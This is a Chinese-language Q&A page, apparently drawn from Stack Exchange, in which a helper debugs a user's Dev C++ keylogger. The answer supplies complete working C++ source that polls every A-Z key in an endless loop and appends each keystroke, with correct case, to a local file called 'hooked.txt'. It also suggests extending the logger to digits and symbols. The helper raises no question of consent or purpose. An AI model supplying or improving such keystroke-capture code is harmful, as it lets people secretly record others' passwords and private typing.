Dev C++键盘记录器检测SHIFT键按下状态问题求助
解决Dev C++键盘记录器中SHIFT键大小写切换的问题
看起来你在做键盘记录器时卡在了SHIFT键的大小写切换逻辑上,我帮你梳理下代码里的问题,然后给出修正后的版本。
你的代码里的几个核心问题
- 程序只检测一次按键就退出:原来的
for循环跑完一次后直接return 0了,根本没法持续记录按键,得改成无限循环才行。 - SHIFT和Caps Lock的判断逻辑错了:你现在的条件会每次按键都反转
MINUSCOLA,这不符合实际的大小写规则——SHIFT是按住临时生效,Caps Lock是切换状态,应该实时计算当前的大小写状态,而不是靠变量反转。 - 遍历了太多无关按键:0到165的虚拟键里大部分不是字母,直接
i+32会输出一堆乱码,应该只处理A-Z的键。 - GetKeyState用错了:判断SHIFT是否按住要看返回值的高位(0x8000),低位是给Caps Lock这种切换键用的,你搞反了。
修正后的代码
#include <iostream> #include <Windows.h> #include <iomanip> #include <WinUser.h> #pragma warning(disable: 4996) // 修正警告指令的正确写法 #define DELAY 170 using namespace std; void WriteToLog(char key) { FILE *pLogFile = fopen("hooked.txt", "a+"); if (pLogFile != NULL) { // 加个判断,防止文件打不开崩溃 fprintf(pLogFile, "%c", key); fclose(pLogFile); } } int main() { while (true) { // 改成无限循环,持续检测按键 for (int i = 65; i <= 90; i++) { // 只处理A-Z的虚拟键(对应键盘上的大写字母键) if (GetAsyncKeyState(i) & 0x8000) { // 检测当前按键是否被按下 // 判断Caps Lock是否开启(低位0x0001表示切换状态) bool isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; // 判断SHIFT是否被按住(高位0x8000表示当前按键状态) bool isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; // 用异或运算判断最终大小写:SHIFT和Caps Lock状态不同则大写,相同则小写 bool shouldBeUpperCase = isShiftPressed ^ isCapsLockOn; if (shouldBeUpperCase) { WriteToLog((char)i); // 直接写入大写字母 } else { WriteToLog((char)(i + 32)); // 转成小写写入 } // 延迟一下,避免按住按键时重复记录 Sleep(DELAY); } } Sleep(DELAY); } return 0; }
关键修改说明
- 无限循环:用
while(true)让程序一直运行,持续检测按键。 - 聚焦字母键:只遍历65到90的虚拟键,对应键盘上的A-Z,避免处理无关按键产生乱码。
- 正确的状态判断:
- Caps Lock是切换键,用
GetKeyState的低位判断是否开启; - SHIFT是临时按键,用
GetKeyState的高位判断是否按住; - 异或运算
^完美模拟系统的大小写规则:比如Caps Lock开着,按住SHIFT就输出小写,和我们平时用键盘的逻辑一致。
- Caps Lock是切换键,用
- 文件安全:增加文件打开成功的判断,防止因为权限或路径问题导致程序崩溃。
- 修正警告指令:原来的
#pragma disable warning写法不对,改成标准的#pragma warning(disable: 4996)来禁用fopen的安全警告。
小提示
如果之后要扩展记录数字、符号的功能,可以把循环范围扩大,然后给数字键做映射(比如按下SHIFT+1时输出!),不过得单独处理这些按键的对应关系哦。
内容的提问来源于stack exchange,提问作者Dovakino




